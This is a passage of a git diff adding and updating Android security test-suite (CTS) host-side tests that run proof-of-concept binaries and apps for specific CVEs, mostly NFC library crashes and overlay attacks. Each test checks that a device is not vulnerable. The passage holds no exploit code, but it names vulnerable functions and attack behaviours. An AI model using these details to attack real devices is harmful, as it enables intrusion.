+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2017 extends SecurityTestCase {
+
+ /**
+ * b/121035711
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 121035711)
+ @Test
+ public void testPocCVE_2019_2017() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2017";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
new file mode 100644
index 00000000000..b65faeef587
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2020 extends SecurityTestCase {
+
+ /**
+ * b/116788646
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 116788646)
+ @Test
+ public void testPocCVE_2019_2020() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2020";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "llcp_dlc_proc_rx_pdu"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.checkMinAddress(false);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
new file mode 100644
index 00000000000..21b22856fcc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2031 extends SecurityTestCase {
+
+ /**
+ * b/120502559
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120502559)
+ @Test
+ public void testPocCVE_2019_2031() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2031";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t3t_act_handle_check_ndef_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
new file mode 100644
index 00000000000..3aa0474a422
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 139017101)
+ @Test
+ public void testPocCVE_2020_0015() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2020_0015";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2020-0015.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 00000000000..6689459f68a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+ /**
+ * b/62458770
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 62458770)
+ @Test
+ public void testPocCVE_2020_0034() throws Exception {
+ pocPusher.only32();
+ String binaryName = "CVE-2020-0034";
+ String inputFiles[] = {"cve_2020_0034.ivf"};
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b393bf6..2c39674c45f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -35,9 +35,10 @@ public class CVE_2020_0073 extends SecurityTestCase {
@AsbSecurityTest(cveBugId = 147309942)
public void testPocCVE_2020_0073() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2020-0073";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index a6ae4f823fa..4b1bc22e33f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@ import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.After;
import org.junit.Assert;
@@ -38,7 +38,7 @@ import org.junit.runner.RunWith;
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends BaseHostJUnit4Test {
+public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503ce88d..585d19bfbd2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2021_0430 extends SecurityTestCase {
/**
* b/178725766
* Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 178725766)
public void testPocCVE_2021_0430() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-0430";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_mfc_handle_read_op"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
index 5f0c200d1f4..2ae3f0f0d9c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -22,7 +22,7 @@ import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -42,7 +42,7 @@ import static org.hamcrest.CoreMatchers.*;
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0481 extends BaseHostJUnit4Test {
+public class CVE_2021_0481 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0481.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b27cd2..3e6928853de 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,43 @@
package android.security.cts;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0523.apk";
- private static void extractInt(String str, int[] displaySize) {
- str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
- if (str.equals("")) {
- return;
- }
- String s[] = str.split(" ");
- for (int i = 0; i < s.length; ++i) {
- displaySize[i] = Integer.parseInt(s[i]);
- }
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
}
/**
* b/174047492
*/
- @Test
+ @AppModeFull
@AsbSecurityTest(cveBugId = 174047492)
+ @Test
public void testPocCVE_2021_0523() throws Exception {
- final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
- String apkName = "CVE-2021-0523.apk";
- String appPath = AdbUtils.TMP_PATH + apkName;
- String packageName = "android.security.cts.cve_2021_0523";
- String crashPattern =
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
- ITestDevice device = getDevice();
-
- try {
- /* Push the app to /data/local/tmp */
- pocPusher.appendBitness(false);
- pocPusher.pushFile(apkName, appPath);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
- /* Install the application */
- AdbUtils.runCommandLine("pm install " + appPath, device);
-
- /* Grant "Draw over other apps" permission */
- AdbUtils.runCommandLine(
- "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
- /* Start the application */
- AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
- Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
- /* Get screen width and height */
- int[] displaySize = new int[2];
- extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
- int width = displaySize[0];
- int height = displaySize[1];
-
- /* Give a tap command for center of screen */
- AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- /* Un-install the app after the test */
- AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
- /* Detection of crash pattern in the logs */
- String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
- Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
- assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
- }
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ getDevice());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 34e2ca1ec31..5a7ec8d1c24 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends BaseHostJUnit4Test {
+public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index 0c8f0a9fd1b..eb74b201862 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.RequiresDevice;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import java.util.regex.Pattern;
import org.junit.Assert;
import org.junit.Before;
@@ -33,7 +33,7 @@ import static org.junit.Assert.assertThat;
import static org.junit.Assume.assumeTrue;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends BaseHostJUnit4Test {
+public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 00000000000..29fd2b39bf2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_APP = "CVE-2021-0642.apk";
+ static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ uninstallPackage(device, TEST_PKG);
+ }
+
+ /**
+ * b/185126149
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 185126149)
+ @Test
+ public void testPocCVE_2021_0642() throws Exception {
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index f5f6b8b19b0..26bba4a6d50 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends BaseHostJUnit4Test {
+public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index 9b592bdcbbd..bf261fd0eab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@ import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -38,7 +38,7 @@ import static org.hamcrest.CoreMatchers.*;
* Test installs sample app and then tries to overwrite *.apk file
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends BaseHostJUnit4Test {
+public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
private static final String TEST_APP = "CVE-2021-0691.apk";
private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 5f13cf6feec..2b7ad1452d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends BaseHostJUnit4Test {
+public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index c46bedeb2f7..fabaf89437a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends BaseHostJUnit4Test {
+public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 27900e19fcb..760c265fe09 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
